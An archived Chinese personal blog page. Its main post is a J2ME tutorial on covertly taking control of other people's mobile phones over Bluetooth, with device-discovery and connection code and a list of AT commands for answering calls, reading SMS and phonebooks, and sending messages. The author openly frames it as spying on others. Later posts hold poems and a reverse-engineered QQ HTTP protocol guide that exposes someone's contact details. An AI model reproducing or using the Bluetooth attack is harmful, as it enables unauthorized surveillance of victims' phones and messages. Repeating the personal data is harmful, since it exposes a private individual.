悦's profile微程小筑PhotosBlogLists Tools Help
Photo 1 of 8
There are no music lists on this space.

微程小筑

心若止水,静寂无为,海纳百川,无欲则刚
June 12

J2ME手机蓝牙间谍控制之我所见

2005到现在又没有写文章了,手又开始发痒了.在这篇文章里我们说说通过J2ME的蓝牙控制手机。
我们先说说控制了手机能够做什么?我们就有了手机的大部份控制权力,比如手机信息,电量,序列号,控制打电话,读取信息,电话本内容,打开对方手机的JAVA,控制多媒体播放器,可以放音乐,控制音量大小,更改对方的情景模式,发送按键信号.....
     看到"难道手机有木马?还是产商有后门?"看到这样,不免大家会发出这样的疑问.其实,都不是!
     以前如果搞过pc控制手机或玩过modem的朋友大家应该有印象.记得AT命令吗?AT即ATTENTION,90年代初,AT指令仅被用于Modem操作。没有控制移动电话文本消息的先例,只开发了一种叫SMS BlockMode的协议,通过终端设备(TE)或电脑来完全控制SMS。几年后,主要的移动电话生产厂商诺基亚、爱立信、摩托罗拉和HP共同为GSM 研制了一整套AT指令,其中就包括对SMS的控制。AT指令在此基础上演化并被加入GSM 07.05标准以及现在的GSM07.07标准,完全标准化和比较健全的标准。
     对!通过AT命令我们完全控制完全控制手机!我们用什么方式连接到手机呢,以前大家在控制手机的时候多半会用串口,红外.以前我短信群发的时候,用红外,控制了手机让手机进行短信群发。但是你想偷偷控制别人的手机于无形,这两种都不是太好选择,如果你用串口线或USB线你总不至于对你要控制的人说"兄弟,把你的手机拿来,我插根线控制你,看你的短信!",如果用红外说"兄弟,你的手机位置对正一点,不然我控制不到你了!",那么还得是蓝牙,距离是近是近了点,但是始终不容易被发现!
第一步,我们先看看,你的手机支持不支持J2ME的蓝牙!
try{
    Class.forName("javax.bluetooth.LocalDevice");
}
catch(Exception ex){
    System.out.println("操!我的手机不支持蓝牙");
}
第二步,如果支持蓝牙,我们就搜索一下,看看我们附近有没有蓝牙设备!
LocalDevice localDevice = LocalDevice.getLocalDevice();
discoveryAgent = localDevice.getDiscoveryAgent();//创建蓝牙搜索代理
discoveryAgent.startInquiry(DiscoveryAgent.GIAC, this);//开始搜索,这里的this是指本类.当然我们要在本类实现DiscoveryListener接口.
如果搜索到了有新设备,它会调用deviceDiscoverd()方法接收!
 public void deviceDiscovered(RemoteDevice remoteDevice, DeviceClass cod) {
        try{
            remoteDevices.addElement(remoteDevice);
        } catch(Exception e){
               System.out.println("猪呀!怎么又错了!");
        }
}
当设备发现时会调用如下方法:
public void deviceDiscovered(RemoteDevice remotedevice, DeviceClass deviceclass){
 try{
     s = remotedevice.getFriendlyName(false); //得到好友名称,这个有些时候可能为空,也有可能会报错.
 }
 catch(Exception _ex){
   try{
     s = remotedevice.getBluetoothAddress(); //得到蓝牙地址
   }
   catch(Exception _ex2) { }
 }         
}
当搜索完成时会调用如下方法:
 public void inquiryCompleted(int discType) {
    String inqStatus = null;
    if (discType == DiscoveryListener.INQUIRY_COMPLETED) {
      inqStatus = "老子完成搜索了!厉害吧!";           
    } else if (discType == DiscoveryListener.INQUIRY_TERMINATED) {
      inqStatus = "讨打,叫我搜就搜,叫我停就停,面子都没有!";
    } else if (discType == DiscoveryListener.INQUIRY_ERROR) {
      inqStatus = "啊哦!老子又挂了!";
    }
       
  }
remoteDevices不知道是什么了吧~remoteDevices其实就是---一个Vector,用于存放名称及蓝牙地址的.
第三步,搜索蓝牙服务.
RemoteDevice aremotedevice[] = discoveryAgent.retrieveDevices(x);
//这语句读出以前搜索的设备,x为其参数DiscoveryAgent.CACHED(缓存设备)和DiscoveryAgent.PREKNOWN(已知设备),如果要更新设备名称就按上方法,重新刷新一下面好友名称
UUID auuid[] = {new UUID(0x1103), new UUID(0x0100)};
try{
     discoveryAgent.searchServices(null, auuid, aremotedevice[y], this);
//搜索蓝牙设备服务,auuid为指定的服务类型,0x1103代表播号网络服务,aremotedevice[y]指定设备,这里的this是指本类.当然我们要在本类实现DiscoveryListener接口
 }
 catch(Exception exception){
   
 }
当发现新服务时会调用如下方法:
 public void servicesDiscovered(int i, ServiceRecord aservicerecord[]) {
  try{
      if(aservicerecord.length > -1){
        Object obj = null;
        for(int j = 0; j <= aservicerecord.length - 1; j++){
          String s = aservicerecord[j1].getConnectionURL(0, false);// 读出的设备服务连接地址
        }
          System.out.println("得到服务连接地址!");
        } else{
          System.out.println("没有得到服务连接地址!");         
        }
      }
      catch(Exception exception){
          System.out.println("又出错了,-_-!"); 
      }
  }
当搜索完成时会调用如下方法:
public final void serviceSearchCompleted(int i, int j){
  if(j != 1){
    System.out.println("没有搜索到任何可用服务!");            
  }
}
第四步,连接到设备服务,并实现输入输出.
OutputStream outputStream;
InputStream inputStream;
StreamConnection streamConnection;
streamConnection = (StreamConnection)Connector.open(s);//s为上面getConnectionURL读出的设备服务连接地址
outputStream = streamConnection.openOutputStream();//创建输出流
inputStream = streamConnection.openInputStream();//创建输入流
第五步,如果第四步没有什么问题的话.那么恭喜你,你可以完全控制他的手机了.(哈哈哈哈,奸笑中......^_^),下面我们看一下如何控制他的手机.
现在我们就可以用outputStream直输出at命令了.
如: 发送ATA 接电话命令.
String s="ATA";
outputStream.write(s.getBytes());
outputStream.write(13);
outputStream.write(10);
outputStream.flush();
最可以用inputStream.read()来接返回的消息.
再来回顾一次重点.j2ME本身就是支持蓝牙的,手机是通过播号网络服务方式支持at命令的.只要用j2ME连接到另一台手机的播号网络服务就可以直接发送at命令.可惜网上资料太少了.....
下面我们就介绍一下常用的AT命令(具体看手机支持不支持,大多数是标准的^_^):
AT+CGMI 给出模块厂商的标识。
AT+CGMM 获得模块标识。
AT+CGMR 获得改订的软件版本。
AT+CGSN 获得GSM模块的IMEI(国际移动设备标识)序列号。
AT+CSCS 选择TE特征设定。这个命令报告TE用的是哪个状态设定上的ME。ME于是可以转换每一个输入的或显示的字母。这个是用来发送、读取或者撰写短信。
AT+WPCS 设定电话簿状态。这个特殊的命令报告通过TE电话簿所用的状态的ME。ME于是可以转换每一个输入的或者显示的字符串字母。这个用来读或者写电话簿的入口。
AT+CIMI 获得IMSI。这命令用来读取或者识别SIM卡的IMSI(国际移动签署者标识)。在读取IMSI之前应该先输入PIN(如果需要PIN的话)。
AT+CCID 获得SIM卡的标识。这个命令使模块读取SIM卡上的EF-CCID文件。
AT+GCAP 获得能力表。(支持的功能)
A/ 重复上次命令。只有A/命令不能重复。这命令重复前一个执行的命令。
AT+CPOF 关机。这个特殊的命令停止GSM软件堆栈和硬件层。命令AT+CFUN=0的功能与+CPOF相同。
AT+CFUN 设定电话机能。这个命令选择移动站点的机能水平。
AT+CPAS 返回移动设备的活动状态。
AT+CMEE 报告移动设备的错误。这个命令决定允许或不允许用结果码“+CME ERROR:<xxx>”或者“+CMS ERROR:<xxx>”代替简单的“ERROR”。
AT+CKPD 小键盘控制。仿真ME小键盘执行命令。
AT+CCLK 时钟管理。这个命令用来设置或者获得ME真实时钟的当前日期和时间。
AT+CALA 警报管理。这个命令用来设定在ME中的警报日期/时间。(闹铃)
AT+CRMP 铃声旋律播放。这个命令在模块的蜂鸣器上播放一段旋律。有两种旋律可用:到来语音、数据或传真呼叫旋律和到来短信声音。
AT+CRSL 设定或获得到来的电话铃声的声音级别。
ATD 拨号命令。这个命令用来设置通话、数据或传真呼叫。
ATH 挂机命令。
ATA 接电话。
AT+CEER 扩展错误报告。这个命令给出当上一次通话设置失败后中断通话的原因。
AT+VTD 给用户提供应用GSM网络发送DTMF(双音多频)双音频。这个命令用来定义双音频的长度(默认值是300毫秒)。
AT+VTS 给用户提供应用GSM网络发送DTMF双音频。这个命令允许传送双音频。
ATDL 重拨上次电话号码。
AT%Dn 数据终端就绪(DTR)时自动拨号。
ATS0 自动应答。
AT+CICB 来电信差。
AT+CSNS 单一编号方案。
AT+VGR,AT+VGT 增益控制。这个命令应用于调节喇叭的接收增益和麦克风的传输增益。
AT+CMUT 麦克风静音控制。
AT+SPEAKER 喇叭/麦克风选择。这个特殊命令用来选择喇叭和麦克风。
AT+ECHO 回音取消。
AT+SIDET 侧音修正。
AT+VIP 初始化声音参数。
AT+DUI 用附加的用户信息拨号。
AT+HUI 用附加的用户信息挂机。
AT+RUI 接收附加用户信息。
AT+CSQ 信号质量。
AT+COPS 服务商选择。
AT+CREG 网络注册。获得手机的注册状态。
AT+WOPN 读取操作员名字。
AT+CPOL 优先操作员列表。
AT+CPIN2 输入PIN2。
AT+CPINC PIN的剩余的尝试号码。
AT+CLCK 设备锁。
AT+CPWD 改变密码。
AT+CPBS 选择电话簿记忆存储。
AT+CPBR 读取电话簿表目。
AT+CPBF 查找电话簿表目。
AT+CPBW 写电话簿表目。
AT+CPBP 电话簿电话查询。
AT+CPBN 电话簿移动动作。这个特殊命令使电话簿中的条目前移或后移(按字母顺序)
AT+CNUM 签署者号码。
AT+WAIP 防止在下一次重起时初始化所有的电话簿。
AT+WDCP 删除呼叫电话号码。
AT+CSVM 设置语音邮件号码。
AT+CSMS 选择消息服务。支持的服务有GSM-MO、SMS-MT、SMS-CB。
AT+CNMA 新信息确认应答。
AT+CPMS 优先信息存储。这个命令定义用来读写信息的存储区域。
AT+CMGF 优先信息格式。执行格式有TEXT方式和PDU方式。
AT+CSAS 保存设置。保存+CSAS和+CSMP的参数。
AT+CRES 恢复设置。
AT+CSDH 显示文本方式的参数。
AT+CNMI 新信息指示。这个命令选择如何从网络上接收短信息。
AT+CMGR 读短信。信息从+CPMS命令设定的存储器读取。
AT+CMGL 列出存储的信息。
AT+CMGS 发送信息。
AT+CMGW 写短信息并存储。
AT+CMSS 从存储器中发送信息。
AT+CSMP 设置文本模式的参数。
AT+CMGD 删除短信息。删除一个或多个短信息。
AT+CSCA 短信服务中心地址。
AT+CSCB 选择单元广播信息类型。
AT+WCBM 单元广播信息标识。
AT+WMSC 信息状态(是否读过、是否发送等等)修正。
AT+WMGO 信息覆盖写入。
AT+WUSS 不改变SMS状态。在执行+CMGR或+CMGL后仍保持UNREAD。
值得注意的是,通常有些命令是配合使用,比如发送中文短信(在设置完成手机参数后):
outputStream.write("AT+CMGF=1".getBytes());//设置信息格式,0为TEXT方式和1为PDU方式。
outputStream.write("AT+CMGS='12345678999',10 ".getBytes()); //发送短信到XX
outputStream.write("0x600xa80x590x7d0x000x1a".getBytes());//发送中文短信内容
好了,有了以前的知识,您就可以使用蓝牙控制其他的手机了,事先申明,如果拿去偷看别人的手机被打不关我事.此文仅在技术分析,如果更多需要交流请加我的QQ:24259132,请转载者尊重一下原著的版权,谢谢!
July 12

迷茫

迷茫,
生活越来越难,
已然没有最初的梦想,
没有当年的激情与渴望。

在生活里打转,
却始终冲不出这围城的墙。
欲望没有退让,
实现的可能越来越渺茫。

生活的残忍使我受伤,
措败的无情使我沮丧,
失落的心情使我彷徨,
曲折的命运使我步履艰难。

回首往事也喜悦与心酸,
喜悦与心酸过眼也惘然,
点亮心的火光,
往后的路还很长很长。。。。。。。。
July 05

仙亦难

婆娑流离世外仙,
神游灵霄亦有天。
逐渡四海寻僻岸,
梦归七魄复凡间。
爱寄世间俗尘事,
情迷山野太虚眠。
恋倦幛舞镜花影,
无欲重摘九宫莲。
 
 
 
June 07

六月,彼此幸福中

入梦前总是不禁播通电话,
宜解无限对你的思念牵挂,
听着你我缠绵情话,
不禁泪珠幸福的潸然落下。

你是我心中的她,
我愿陪你走过海角天涯,
纵然时空停时流转暗淡无霞,
你要相信至少还有我还有温暖的家。

不是主公与王子的童话,
也不会轰烈的让世人惊呀,
至少在电闪雷鸣时,
我会抱着你不会让你感到害怕。

睡吧,带着微笑睡吧,
不必担心我对你的爱会变化,
眼前所看到一切幸福都不是假,
天荒地老、至死不逾也不再是神话。

June 03

基于HTTP的QQ协议之我所见

有一年没有发表文章了,最近我为了一个项目对QQ协议进行研究,有些心得,不敢独享,故把其中一项协议--

基于HTTP的QQ协议V1.1的不完整成果,拿出来与大家分享一下。
大家说到QQ协议都觉得很神秘,是因为QQ不像MSN或者ICQ协议都已经官方公布了,而QQ的没有公布。研究

它的人也不是特别的多,虽然已经有了基于QQ协议所写成的第三方软件 foicq, qq plugins for gaim,

LumaQQ,但是由于他们是基于二进制Stream的协议过于复杂,大家阅读代码也有一定的难度,再加上网络

上解析QQ协议的文章也不是十分多,所以基于QQ网络协议的应用程序也是寥寥无几的。现在我就把基于HT

TP的QQ协议进行一个粗浅的剖析,希望对大家有所帮助。源码部分就用我喜欢的DELPHI和现在比较流行的

C#语言对QQ协议的实现进行具体分析。
1、找寻支持QQ HTTP协议的服务器。
大家也许会被一些假像所迷惑,也许会认为QQ的HTTP服务器是基于80口进行通信的(如:218.17.209.23:

80),其实不然,正真基于HTTP的服务器应该是:http://tqq.tencent.com:8000,它是一个通过8000口

进行通讯的服务器。
由于QQ的HTTP服务器并不支持HTTP协议中GET方法,它支持POST方法。所以我们要给QQ的HTTP协议传参数

,那么就必需要用POST方式才行。
2、C#和DELPHI是实现HTTP的POST方法的通信。
C#:
  C#里System.Web空间下提供了一个叫做WebClient的对象,使用此对象就可以使C#直接对服务器发送WEB

客户端的请求。那么我们要对服务器提交POST方法那么就必须使用其UploadData()方法才行。首先把要请

求的信息先转换为字节(因为POST提交的是字符的流数据),然后再做为UploadData()的参数。使用Uplo

adData()进行数据提交,最后返回,POST的回馈信息。如下:

  WebClient _client = new WebClient();
  string postValues = "VER=1.0&CMD=Query_Stat&SEQ=12321&UIN=29501213&TN=50&UN=0";
  Byte[] byteArray = System.Text.Encoding.ASCII.GetBytes(postValues);
  Byte[] pageData = _client.UploadData(Host,"POST",byteArray);

这样,我们就利用C#进行了一次HTTP的POST方法提交了。

DELPHI:
  Delphi里我们利用一个比较流行的第三方VCL,INDY HTTP(这个组件D6,D7里面自带)进行HTTP通信。

使用其的POST方法便可以进行HTTP的POST通信,因为组件比较好用,我就不在其描述具体的过程了。大家

可以参考以下代码:

function PostWebPage(url,para:String;TimeOut:Integer):String;
var
  tmpWeb:TIdHTTP;
  retrun:String;
  Proxy:String;
  i:Integer;
  paralist:TStrings;
begin
  retrun:='';
  try
    paralist:=TStringList.Create;
    paralist.Text:=_Replacing(para,'&',#13#10);
    tmpWeb:=TIdHTTP.Create(nil);
    tmpWeb.ReadTimeout:=TimeOut;
    for i:=1 to 3 do
    begin
      try
        retrun:=tmpWeb.Post(url,paralist);
      except end;
      if retrun<>'' then break;
    end;
  finally
      tmpWeb.Disconnect;
      FreeAndNil(tmpWeb);
      FreeAndNil(paralist);
  end;

  Result:=retrun;
end;

值在传入、返回时,其是基于UTF-8进行的,C#显示中文是很常,而DELPHI就要进行UTF-8的转换了。大家

可通过Utf8ToAnsi()、AnsiToUtf8()进行转换。(编码转换是C#的优越性之一)

3、实现QQ的用户登录。
在QQ通信中用户必需要登录后才可以进行互相发送信息等。QQ的登录是很关键的,大家所看到的用户在线

,并不是用户的QQ一直连接着服务器,而是定时发送消信给服务器,证明自己还连着线,如果超出时间QQ

就认为用户已经掉线了。
在登录协议中,QQ的密码是用标准的MD5来进行加密,DELPHI的用户只需要下个MD5加密模块就可以了,而

C#自已带有,但是直接用不了,必需进行处理后,才能使其变成标准的MD5,处理代码如下:
    
               public static string MD5(string toCryString)
  {
   MD5CryptoServiceProvider hashmd5;
   hashmd5 = new MD5CryptoServiceProvider();
   return

BitConverter.ToString(hashmd5.ComputeHash(Encoding.Default.GetBytes(toCryString))).Replace("

-","").ToLower();//asp是小写,把所有字符变小写
  }

了解QQ是如何对用户密码加密后,那么我们就开始真正,解析QQ的HTTP登录协议了,我们把协议当传POST

的参数传给服务器,而服务器则回馈相应的信息给客户端:
传入协议:
  VER=1.1&CMD=Login&SEQ=&UIN=&PS=&M5=1&LC=9326B87B234E7235

  VER是用来说明QQ协议的版本,CMD是说明协议的命令,Login就是指QQ的登录了,SEQ是他的为了防止重

复发送而设定的一个标记,一般我们取当前时间数值的一段放入即可。(C#:DateTime.Now.Ticks.ToStr

ing().Substring(7,7) DELPHI:CopyStr(inttostr(GetTickCount()),1,5)),UIN是说明你当前要登录

的用户QQ号,PS,是MD5加密过后的密码的值。

返回协议:

  VER=1.1&CMD=Login&SEQ=11281&UIN=&RES=0&RS=0&HI=60&LI=300(成功)

RES为0表示成功返回,RS为0表示登录成功。

  VER=1.1&CMD=Login&SEQ=11422&UIN=315103947&RES=0&RS=1&RA=登录失败

RS为1表示登录失败,那么就会出现提示信息RA说明原因。

4、获得QQ名单。
如果您加了您的好友,那么您的好友就会放入你的QQ的好友名单里面,那么我们要得到QQ名单就必需给QQ

服务器发送得到好友名单的协议(我就不从复已知的参数了):

  VER=1.1&CMD=List&SEQ=&UIN=&TN=160&UN=0

服务器得到协议后如果成功则返回:

  VER=1.1&CMD=LIST&SEQ=43661&UIN=29501213&RES=0&FN=1&SN=24&UN=561256,1943497,....

UN后面则是您好友的QQ号码,每个号码都由,进行分开。那么我们只需要得到UN后面的代码,把它列表化

就OK了。C#可以用string.Split(',')把值放入列表进行处理,而DELPHI可以使用Split()把数值放入TStr

ings里进行处理。

5、获得QQ好友在线名单
获得QQ好友在线名单,跟获得好友名单差不多,唯一不同的是用的命令不同用的是Query_Stat,协议如下

  VER=1.1&CMD=Query_Stat&SEQ=&UIN=&TN=50&UN=0

服务器得到协议后如果成功则返回:

VER=1.1&CMD=QUERY_STAT&SEQ=-1&UIN=29501213&RES=0&FC=141,270,270,&FN=1&SN=3&ST=10,10,10,&UN=1

2327207,24259132,29501213,&NK= □,微程,鶹鸑,&

FC为QQ头像的的ID,如的头像ID为270,那么其头使用的图片为91.bmp,其算法为ID/3+1。ST为QQ用户的状

态,10为上线,20为离线,30为忙碌。UN为在线用户的QQ号,NK为在线用户的QQ昵称。ST,UN,NK,每个

逗号隔开的数据相互对应。在得到消息后如果用的是DELPHI语言,那么要用Utf8ToAnsi()进行转换,不然

会出现乱码。

6、得到QQ用户的信息。
如果要看到QQ用户的真实名称,MAIL,年龄,个人说明等信息,那么我们必需要向服务器发送得到好友信

息的信息:

  VER=1.1&CMD=GetInfo&SEQ=&UIN=&LV=2&UN=

UN为要查看用户信息的QQ号。

服务器得到协议后如果成功则返回:

VER=1.1&CMD=GETINFO&SEQ=12707&UIN=415103947&RES=0&AD=云南昆明&AG=0&EM=Microprogramer@hotmail

.com&FC=270&HP=msger.org(建设中...)&JB=程序员&LV=2&PC=650000&PH=0871-6466529&PR=网络为媒%252

c关系为本%252c信息为财%252c客户为主.%0d%0a&PV=云南省&RN=刘X&SC=社会大学&SX=0&UN=24259132&NK=

微程

AD用户的联系地址,AG为用户年龄,EM为用户MAIL,FC为用户头像,HP为用户网站,JB为用户职业,PC为

用户邮编,PH为用户联系电话,PR为用户简介,PV为用户所以的省,RN为用户真实名称,SC为用户毕业院

校,SX为用户性别,UN为用户QQ号,NK为用户QQ昵称。在得到消息后如果用的是DELPHI语言,那么要用Ut

f8ToAnsi()进行转换,不然会出现乱码。

7、增加QQ好友。
想要新增好友,就要发送AddToList命令给服务器,具体命令如下:

  VER=1.1&CMD=AddToList&SEQ=&UIN=&UN=

UN为我们要增加用户的QQ号。

服务器得到协议后如果成功则返回:

VER=1.1&CMD=AddToList&SEQ=13666&UIN=415103947&RES=0&CD=0&UN=24259132

CD为被加QQ的身份验证状态,CD为0表示“允许任何人把我列为好友”,CD为1表示“需要身份证认才能把

我列为好友”,CD为3表示“不允许任何人把我列为好友”。如果CD为0那么信息回馈后,用户就直接加为

好友了,如果CD为1,那么还要发送一次回应加为好友的响应。

8、回应加为好友的响应。

回应加为好友响应是双方的:1、如果你发送了请求加对方为好友,如果对方需要验证,那么必需发送回

应加为好友的响应。2、如果对方发送加为好友请求给你,那么你可以加应加为好友的响应,一是加为好

友,一是通过验证,一是拒决加为好友。我们要向服务器发送命令:

VER=1.1&CMD=Ack_AddToList&SEQ=&UIN=&UN=&CD=&RS=

CD为响应状态,CD为0表示“通过验证”。CD为1表示“拒决加为对方为好友”。CD为2表示“为请求对方

加为好友”。RS为你要请求的理由,如果您用的是DELPHI那么RS在发送之间要用AnsiToUtf8()进行转换,

不然发送过后,请求理由会变成“?”。

服务器得到协议后如果成功则返回:

VER=1.1&CMD=Ack_AddToList&SEQ=1130&UIN=415103947&RES=0&

9、删除好友。

删除好友其实很容易,向服务器发送DelFromList命令则可以删除用户:

VER=1.1&CMD=DelFromList&SEQ=&UIN=&UN=

UN为要删除用户的QQ号。

服务器得到协议后如果成功则返回:

VER=1.1&CMD=DelFromList&SEQ=24514&UIN=415103947&RES=0&

10、改变用户当前状态。
可以把QQ设置为在线,隐身等状态,我们可以发送Change_Stat给服务器以改变当前状态,具体命令如下

VER=1.1&CMD=Change_Stat&SEQ=&UIN=&ST=

ST为要改变的状态,10为上线,20为离线,30为忙碌。

服务器得到协议后如果成功则返回:

VER=1.1&CMD=Change_Stat&SEQ=17512&UIN=415103947&RES=0&

11、退出登录
要退出登录,要向服务器发送命令Logout,具体命令如下:

VER=1.1&CMD=Logout&SEQ=&UIN=

服务器得到协议后如果成功则返回:

VER=1.1&CMD=LOGOUT&SEQ=15803&UIN=415103947&RES=0

12、获得好友QQ的消息

如果要接收好友的消息,要向服务器发送命令GetMsgEx,具体命令如下:

VER=1.1&CMD=GetMsgEx&SEQ=&UIN=

服务器得到协议后如果成功则返回:

VER=1.1&CMD=GETMSGEX&SEQ=56661&UIN=29501213&RES=0&MN=3&MT=99,9,9,&UN=24259132,24259132,24259

132,&MG=30 ,asdfasdfasdfasdf ,asdfasdfasdf ,&

MT表示消息类型,99表示系统消息,9表示用户消息。UN表示消息发送来源用户,MG表示发送的消息,MG

消息可以表示某些特定的系统含意,譬如:当MT为99,MG为30,UN为24259132则表示用户4259132现在处

于忙碌状态,可根据此消息进行好友列表的刷新,提高效率。在得到消息后如果用的是DELPHI语言,那么

要用Utf8ToAnsi()进行转换,不然会出现乱码。

13、向好友QQ发送消息

要发送消息给好友,要向服务器发送命令CLTMSG命令,具体命令如下:

VER=1.1&CMD=CLTMSG&SEQ=&UIN=&UN=&MG=

UN为消息发送给的用户QQ号码,MG为发送给该用户的消息。如果您用的是DELPHI那么MG在发送之间要用An

siToUtf8()进行转换,不然发送过后,消息会变成“?”。

服务器得到协议后如果成功则返回:

 VER=1.1&CMD=CLTMSG&SEQ=15803&UIN=415103947&RES=0

好了,以上就是QQ基于HTTP的一个不完全的协议分析,在无源码前提下,在下能力有限,只能够分析这么

多了。利用以上协议您就可以实现很多东西,如:QQ机器人,QQ广告系统,即时通讯的整合工具等等。如

果您还有什么问题,请加我的QQ:24259132,MSN:microprogramer@hotmail.com,BLOG:http://spaces.msn.com/members/mprogramer/